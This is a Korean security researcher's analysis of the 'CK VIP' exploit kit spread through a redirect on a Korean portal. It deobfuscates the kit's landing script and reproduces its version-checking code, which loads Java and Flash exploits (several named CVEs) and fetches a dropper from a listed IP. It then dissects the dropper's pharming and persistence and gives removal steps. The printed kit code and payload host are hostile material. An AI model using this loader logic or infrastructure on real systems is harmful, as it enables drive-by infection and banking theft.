CK VIP EXPLOIT Analysis 2014.03.27. Thur. 작성자 : 이상명 http://nopsled.tistory.com
1. 분석개요 [ 그림 1]. 디시인사이드를통하여악성코드유포중이라는인터넷뉴스기사 2014년 03월 25일구글검색을하던도중에디씨인사이드에접속하였더니이상한사이트로 302 리다이렉션이되어확인해보니 exploit이였기때문에이번기회에마음먹고분석하게되었습니다. 또한, 악성코드분석에대해서많은궁금점을품고의아해하시는분들을위해서이렇게 pdf 파일로직접배포하게되었습니다. - 1 -
2. 분석목적 악성코드를빠르게분석하는방법및해당악성코드가어떠한취약점을이용하여 expoit을하는지, 해당악성코드치료는어떻게하는지등에대해서자세하게알아보기위해서입니다. 또한, 아직까지보안에대해서신경을안쓰시는분들에게도도움이될까하고분석하기시작했습니다. 3. 분석전명심할것 1. 절대로파일확장자를믿지않는다. 실제로 exploit에사용되는거의모든파일들은파일확장자를바꾸어둔다. (html 제외 ) ex) exe파일인데.zip으로변경되어있는경우 2. 가능하면호스트 PC 에서분석하는것이아닌, 가상 PC 에서분석하여야한다. 이유는치료하였다고해도찝찝하고감염되면골치아프기때문이다. 4. 제작자에대해서 이문서는 http://nospeld.tistory.com에서처음으로작성및배포되었습니다. 틀린점이나궁금한점에대해서는 http://nopsled.tistory.com/guestbook 혹은 tistory 블로그게시글중아무거나덧글로작성해주시기바랍니다. 문서의내용은제작자허락없이변경될수없습니다. - 2 -
파일명 MD5 SHA256 shiftu.html 4b347f49d58b830b9f7b5fa6d206e7d6 d1185dc861e13565e4641cdc27b8de45f677ba1027d67b9eb2f10199 7a9c265e [ 그림 2] ck vip exploit 스크립트중일부 위그림을보면 ck vip exploit이라고알수있는점은다음과같이세가지로나눌수있다. 1. 스크립트일부내용에 js nb vip라고쓰여있는경우 2. 변수나함수에 ck라는단어가자주사용될경우 3. xmp* 와같은변수를사용하는경우 ck exploit 이란걸알았으니이제난독화를복호화해볼차례이다. 다른분들은 1 차적으로난독화를해제하고최종적으로난독화를해제하지만분석실력을쌓 는데그런방법이좋겠지만다음과같은방법은빠르게복호화가가능하단점이다. [ 그림 3] 난독화해제를위해스크립트를수정 스크립트가장위줄로가서 var xmpppud변수가선언되는곳위에서 document.write("<xmp>"); 를써넣는다. document.write( ); 과 document.write( <xmp>"); 차이점은 <xmp> 없이그냥쓰는경우 html 이나 javascript의경우브라우저의재해석에의해서악성코드에감염이될수있기때문에 <xmp> 를사용하여브라우저재해석을방지할수있다. - 3 -
수정한 html을로컬에서실행시키면복호화가완료되어스크립트해석이가능하다. 복호화를하게되면다음과같은소스가나온다. <script> function encode() var omg = ckl(), x1 = new Array, x2 = ''; for(var i=0;i<omg.length;i++) if(omg[i] == 159) //x2 += ''; else x1[i] = omg[i] - 159; x2 += String.fromCharCode(x1[i]); return x2;... 생략위에서나오는 encode함수가무엇이냐면, document.write("<xmp>"); 를추가하기전에원본스크립트맨밑을보면 fuction ckl() 이라고함수가정의되어있다. 함수내부를보면 bmw라는배열이있는데악성코드의 URL을복호화시켜주는역할을한다. bmw = [263,275,275,271,217,206,206,208,211,209,205,207,205,208,210,208,205,211,209,206,266,257,274,205,260,279,260] for i in range(0, len(bmw)): print chr(bmw[i] - 159), [ 그림 4] python을이용하여복호화한값해당코드는 python으로코딩하였다. encode 함수에서사용하는알고리즘을보고 python을사용하여간단하게복호화가가능하다. - 4 -
<script> var omg = [263,275,275,271,217,206,206,208,211,209,205,207,205,208,210,208,205,211,209,206,266,257,274,205,260,279,159,260]; var x1 = new Array, x2 = ''; for(var i=0;i<omg.length;i++) if(omg[i] == 159) //x2 += ''; else x1[i] = omg[i] - 159; x2 += String.fromCharCode(x1[i]); alert(x2); </script> [ 그림 5] jvascript를이용하여복호화한값혹은, 다음과같이 html 스크립트에서 encode 함수를커스텀마이징하여작성한다. 이렇게복호화를하면 hxxp://142.0.131.42/kbs.exe 라는악성코드주소가나온다. 해당주소는 exploit을할때사용하는악성코드 URL이다. 이제다음 encode 함수를지나 exploit 코드를볼차례이다. var wmck=deployjava.getjres()+""; // 자바버전을구하기위함. wmck=parseint(wmck.replace(/\. \_/g,'')); // 자바버전을구하기위함. var kaka = navigator.useragent.tolowercase(); // useragent 를구하여브라우저를체크한다. var ckurl = encode(); // encode 함수에서복호화된 url 을 return 받기위한변수 if( wmck > 17006 && wmck < 17011 ) // 자바버전이 17006 보다크고 17011 보다작을경우 - 5 -
if(kaka.indexof("msie 6") > -1) // microsoft internet explorer 6이라면 d o c u m e n t. w r i t e l n ( " < o b j e c t classid=\'clsid:8ad9c840-044e-11d1-b3e9-00805f499d93\' width=\'600\' height=\'400\'><param name=xiaomaolv value=\'"+ckurl+"\'><param name=bn value=\'woyouyizhixiaomaol\'><param name=si value=\'conglaiyebuqi\'><param name=bs value=\'748\'><param name=code value=\'xml20130422.xml20130422.class\'><param name=archive value=\'"+jaguar+"\'><\/object>"); // msie6의경우 java exploit하기위해서는따로 java object를생성해두고 // url을로드시켜야 exploit이가능하다. else document.write("<br>"); var gondady=document.createelement("body"); document.body.appendchild(gondady); var gondad=document.createelement("applet"); gondad.width="600"; gondad.height="400"; gondad.archive=jaguar; // jaguar = one.avi gondad.code="xml20130422.xml20130422.class"; gondad.setattribute("xiaomaolv",ckurl); gondad.setattribute("bn","woyouyizhixiaomaol"); gondad.setattribute("si","conglaiyebuqi"); gondad.setattribute("bs","748"); document.body.appendchild(gondad); // msie6가아닌경우본문에 exploit을로드시켜도무관하기때문에 // xml20130422.xml20130422.class는 one.avi안에있는 exploit에필요한 // class 파일이다. 초록색 : 해당라인에대한주석 빨강색 : 악성코드 URL 주황색 : exploit 에사용될 class 파일 (application/zip) CVE : CVE-2013-0422 (Oracle Java) 영향받는소프트웨어 : Oracle Java 7 update 10(JDK 및 JRE 7 update 10) 및이전버전 파일명 one.avi VirusTotal 22/51 ( 링크바로가기 ) MD5 8199ae15fb84b5e5d1694f6bafa58b1a SHA256 08cba504258dae6cae04b9bfa1e9faaef13bf3624841cc2115660e2bca fbfb9a - 6 -
else if( wmck >= 17000 && wmck < 17007) // 자바버전이 17000과똑같거나크고 17007보다낮은경우 if(kaka.indexof("msie 6") > -1) // micorosoft internet explorer 6이라면 d o c u m e n t. w r i t e l n ( " < o b j e c t classid=\'clsid:8ad9c840-044e-11d1-b3e9-00805f499d93\' width=\'256\' height=\'256\'><param name=xiaomaolv value=\'"+ckurl+"\'><param name=bn value=\'woyouyizhixiaomaolv\'><param name=si value=\'conglaiyebuqi\'><param name=bs value=\'748\'><param name=code value=\'setup.hohoho.class\'><param name=archive value=\'"+audi+"\'><\/object>");`````` // 마찬가지로 java object를생성하여 url를로드시킨다. else document.write("<br>"); var gondady=document.createelement("body"); document.body.appendchild(gondady); var gondad=document.createelement("applet"); gondad.width="256"; gondad.height="256"; gondad.archive=audi; // audi = two.avi gondad.code="setup.hohoho.class"; gondad.setattribute("xiaomaolv",ckurl); gondad.setattribute("bn","woyouyizhixiaomaolv"); gondad.setattribute("si","conglaiyebuqi"); gondad.setattribute("bs","748"); document.body.appendchild(gondad); // 여기또한마찬가지로 msie6이아니면 setup.hohoho.class파일과 // 악성코드가담긴 URL을로드시킨다. 초록색 : 해당라인에대한주석 빨강색 : 악성코드 URL 주황색 : exploit 에사용될 class 파일 (application/zip) CVE : CVE-2012-4681 (Oracle Java) 영향받는소프트웨어 : Oracle Java JDK and JRE 7 Update 6 및이전버전 파일명 two.avi VirusTotal 27/51 ( 링크바로가기 ) MD5 1b6c6b2e1d87d273642889b2fbf1b37a SHA256 05a3f4fb51d37c6190bc2b6ce0401154244c82d4769342d60caf9b2ef 0b3fb31-7 -
else if(wmck<=16027 wmck == 160) // 자바버전이 16027보다같거나작은경우또는 160과같을경우 var okokx = GTR + ".class"; var ckckx = document.createelement('applet'); ckckx.archive=benz; ckckx.code=okokx; ckckx.width="30"; ckckx.height="1"; document.body.appendchild(ckckx); var ckcks=document.createelement('param'); ckcks.name="dota"; // dota = KsDnGpGkEs.avi ckcks.value=ckurl; ckckx.appendchild(ckcks); 초록색 : 해당라인에대한주석 빨강색 : 악성코드 URL 주황색 : exploit 에사용될 class 파일 (application/zip) CVE : CVE-2011-3544 (Oracle Java) 영향받는소프트웨어 : Oracle Java 7 update 10(JDK 및 JRE 7,6 update 27) 및이전버전파일명 KsDnGpGkEs.avi VirusTotal 3/51 ( 링크바로가기 ) MD5 f8b4c1698e26a14408e845e8f387e03c 7354fa2c37df55dc31192c57f673842fdc834e8016b07f6ae590837aff2 SHA256 3f513 try // js 예외처리구문 (try, catch, finally, throws, throw) var ff; var flash=new ActiveXObject("ShockwaveFlash.ShockwaveFlash"); // 여기서예외가발생할가능성이있는스크립트를넣는다. catch(ff); // 예외처리 finally // 예외가발생하는거에상관없이밑에스크립트를실행 if(ff!="[object Error]") // ff변수안에내용이 [object error] 가아니라면, - 8 -
function ckwmgood1() var care = "<script type=\"text/javascript\">window.onerror=function()return true;;<\/script>\r\n"+ "<object width=\"550\" height=\"400\">\r\n"+ "<param name=\"movie\" value=\"done.swf\">\r\n"+ "<embed src=\"nbwm.swf\" width=\"550\" height=\"400\">\r\n"+ "<\/embed>\r\n"+ "<\/object>"; document.body.innerhtml="nb478188809"+care; if(apple.major==11 && (apple.minor==4 apple.minor==5))//cve-2013-0634 document.write("<body onload=ckwmgood1();></body>"); e l s e if((kaka.indexof("msie6")>-1 kaka.indexof("msie7")>-1)&&apple.major==10 && apple.minor==3 && apple.rev<=183 ) // CVE-2011-2140 document.write("<iframe src=ww.html width=60 height=1></iframe>"); 초록색 : 해당라인에대한주석 주황색 : exploit 에사용될 html 및 swf 파일 CVE : CVE-2013-0634 (Adobe Flash Player) - nbwm.swf, done.swf CVE-2011-2140 (Adobe Flash Player) - ww.html 영향받는소프트웨어 : Adobe Flash Player - 9 -
if(ck_wm.indexof("msie 6")>-1) document.write("<iframe src=xx.html width=60 height=1></iframe>"); // XML 코어취약점 CVE-2012-1889 else if(ck_wm.indexof("msie 7")>-1) document.write("<iframe src=yy.html width=60 height=1></iframe>"); // Adobe Flash Player (CVE-2013-0634) else if(ck_wm.indexof("msie 8")>-1) document.write("<iframe src=zz.html width=60 height=1></iframe>"); // Internet Explorer 8 취약점 (CVE-2013-3897) 이번엔처음난독화하기전스크립트 (shiftu.html) 로돌아와서맨밑부분을보게되면 ie 버전 을체크하고 iframe 으로취약점페이지를생성한다. 각각의 html 은 Microsoft Internet Explorer 6,7,8 의취약점이있다. 각각의 exploit 코드 (ww.html, xx.html, yy.html, zz.html, *.swf) 들은 kbs.exe 를받아오는역할 로써똑같은동작을하기에상세분석은하지않음. - 10 -
ㅁ. 악성코드분석 ( 바이너리정적분석 ) 파일명 kbs.exe VirusTotal 34/51 ( 링크바로가기 ) MD5 8e6fa461d83a5bca413aaf812f811104 SHA256 a4ce105273de308c652c92fc674410cad4c9222c3ad8d24ebdd18043e bc81ee9 [ 그림 6] base64 가바이너리에삽입되어있음. 해당악성코드의특징은자신이사용할 dll이나 API를 base64로암호화시켰다는점입니다. 밑에서 python으로 base64로인코딩되어있는문자열들을모두복호화시켰습니다. 또한, 파일이하는일은 Dropper 역할을하며 csrss.exe라는악성코드를 C:\23자리랜덤 \ 에 Drop 시켜주는역할을합니다 - 11 -
[ 그림 7] kbs.exe 의 IAT(Import Adress Table) kbs.exe의 IAT를보면해당악성코드가사용할함수가있다. 아까전에보았던 base64를복호화하고 GetProAdddress를이용하여주소를얻어오는걸예측할수있다. 또한, CopyFileA를이용하여어떠한파일을복사한다고예측해볼수있다. (BitBit나 CreateFile과같은함수를사용하면메모리에서복사하여 Drop시킨다고예측할수있다.) import base64 crpyto = ['dxnlcjmylmrsba==', 'YWR2YXBpMzIuZGxs', 'c2hlbgwzmi5kbgw=', 'a2vybmvsmziuzgxs', 'Q3JlYXRlRGlyZWN0b3J5QQ==', 'Q3JlYXRlUHJvY2Vzc0E=', 'Q2xvc2VIYW5kbGU=', 'V2luRXhlYw==', 'V3JpdGVGaWxl', 'TG9hZFJlc291cmNl', 'RmluZFJlc291cmNlQQ==', 'U2l6ZW9mUmVzb3VyY2U=', 'R2V0VGVtcFBhdGhB','Q3JlYXRlRmlsZUE='] for i in range(0, len(crpyto)): print str(crpyto[i]) + ' : ' + str(base64.b64decode(crpyto[i])) - 12 -
[ 그림 8] python 을이용하여 base64 를복호화한모습 [ 그림 9] 디렉토리이름을랜덤으로정하는함수 00403CFF 에서디렉토리이름을 23 자리로랜덤화시킨다. [ 그림 10] 메모리에저장된다음악성코드의경로 - 13 -
[ 그림 11] dll 의이름을정하는함수와정해진 dll 이름 dll 이름은 디렉토리 + 랜덤값 4 자리.dll 이다. [ 그림 12] dll 을생성하는함수 CreateFileA 의주소를얻어와 00403B2D 에서바로 CALL 을한다. 이작업은악성 dll 을 C:\23 자리랜덤 \ 에만들어주는역할을한다. ( 현재, dll 은 0 바이트 ) - 14 -
[ 그림 13] dll 의 data 를채워넣는함수 WriteFile의주소를가져와실행시켜 C:\23자리랜덤 \ 에 dll에써넣는다. 이때 dll의파일의용량이증가한다. ( 전단계에서는단지파일을만들어준역할만했고현재는데이터를넣어준상태 ) 파일명 Qvcq.dll VirusTotal 36/51 ( 링크바로가기 ) MD5 652ac500e38a211b66159b93286f35b2 e8f0adf529cd74b735d780b4d83a21b640d07a3e30b86cc64715e75f7 SHA256 9c611d3 [ 그림 13] rundll32.exe 를 csrss.exe 로복사하는함수 C:\Windows\system32\rundll32.exe 를 C:\23 자리랜덤 \csrss.exe 로복사한다. ( 복사하는이유는 rundll32.exe 가 system 파일이므로강제로종료가불가능하기때문에 dll 을 rundll32.exe 를이용하여실행하는듯싶다.) - 15 -
[ 그림 14] 똑같은 hash 를가지고있는두파일 파일의 hash 를구해보면 rundll32.exe 와 csrss.exe 의 MD5, SHA256 hash 가모두같기때문 에같은파일이다. [ 그림 15] lnk 를이용하여 rundll32.exe 와 Qvcq.dll 실행 csrss.exe 를이용하여 dll 을 load 시키고 dll 내부에있는 InitSkin 함수를실행한다. - 16 -
[ 그림 16] IDA Hexray 에서 InitSkin 함수를보았을때 [ 그림 17] InitSkin 함수의시작부분 InitSkin 함수가있는곳은 10006F7F 부터이다. 10006F90 에서는 Comment 에보이는문자열을가지고 CreateMutexA 를사용하여중복실행 을방지한다. [ 그림 18] 시작프로그램레지스트리에등록하는함수부분 InitSkin 파라미터를검사하고 CreateThread 를이용하여 base64 로인코딩된 REG_SZ 로레지 스트리에등록을한다. - 17 -
import base64 print base64.b64decode("""u29mdhdhcmvcxe1py3jvc29mdfxcv2luzg93cybovf xcq3vycmvudfzlcnnpb25cxfdpbmrvd3m=""") [ 그림 19] python 을이용하여 base64 를복호화한문자열 [ 그림 20] data.mdb 파일을 C:\23 자리랜덤 \ 에 Drop 시키는함수 [ 그림 21] base64 로암호화된디렉토리명 data.mdb 파일은파밍을할때사용하기위한 hosts 파일이다. GetSystemDirectoryA 를이용하여시스템디렉토리 (C:\windows\system32) 을구하고 strcat 을이용하여 \drivers\etc\hosts.ics(xgryaxzlcnnczxrjxghvc3rzlmljcw==) 와이어붙인다. - 18 -
data.mdb 원본을획득하기위해서간단하게프로그래밍을하였다. 직접 C:\WINDOWS\system32\drivers\etc\hosts를복사하여가져와도되지만여러분들이시스템해킹을조금이라도배웠다면레이스컨디션이라고배웠을거라고생각한다. 그런비슷한방식으로파일을가져오게끔하였다. data.mdb 파일을만들고 C:\WINDOWS\system32\drivers\etc\hosts 로옮기고 data.mdb 를삭제하는방식으로코딩이되어있었다. 삭제하기전에딜레이가있기때문에원본파일을획득할수있다. Loop FileCopy,C:\116418203Ladlu116418203\data.mdb,data.mdb 다음스크립트는 AutoHotKey라는스크립트언어를이용한프로그래밍이다. 이러한스크립트가하는것이무엇이냐면, C:\116418203Ladlu116418203\data.mdb를현재프로그램을실행한디렉토리로 data.mdb라는이름으로복사한다. 이다. data.mdb 를서버 (142.0.131.42) 에서가져오지못하므로분석이더이상불가능하였음. C&C서버 Server 도시 CC 용도 192.74.241.104? United States DC 제어및금융파밍 125.56.214.74 (a125-56.214-7 제어및금융 4.deploy.akamai AkamaiGHost United States DC 파밍 technologies.co m) 마지막으로악성코드가연결하는 IP주소 ( 도메인 ) 와 Server, 도시, CC(Country Code), 용도를 정리해둔표이다. - 19 -
추가내용인데.. 192.74.241.104(C&C) 하고세션을맺으려고자꾸 SYN 을보내네요. 그것도 CreateThreadA 를이용해서 n 초마다 SYN 을계속보내니까제 PC 가네트워크자원고 갈로뻗겠다... -_-;; - 20 -
ㅁ. 악성코드치료방법 1. 해당게시물에있는 IceSword.exe 를다운받아서실행한다. (IceSword.exe 는 rootkit 제거프로그램이다.) 실행했다면왼쪽상단쪽에 Process 를클릭한다. 2. csrss.exe 라고명시되어있는악성코드를찾는다. ( 실행경로가 C:\23 자리랜덤 \csrss.exe 인 걸찾으시면됩니다.) - 21 -
3.csrss.exe 를오른쪽마우스를클릭하고 Terminate Process 클릭한뒤프로세스를종료한다. 4. 윈도우키 + R 을눌러실행을여시고 msconfig 을타이핑하여킨다. 시작항목에 start 인것과명령부분에 C:\ 랜덤 23 자리 \ 로시작되는시작프로그램은체크를해 제해주고확인을눌러준다. 5. 이제 C 드라이브로가셔서 23 자리로되어있는랜덤한이름의폴더를찾아서삭제한다. 해당폴더안에는 csrss.exe 와 start.lnk 와 4 자리.dll 로되어있다. 6. 취약점을패치하기위해서 IE와 Java, Adobe Flash Player를업데이트를꼭해준다. Microsoft Internet Explorer 11 (Windows7만사용가능 ) Microsoft Internet Explorer 10 (Windows 모두사용가능 ) Oracle Java Adobe Flash Player - 22 -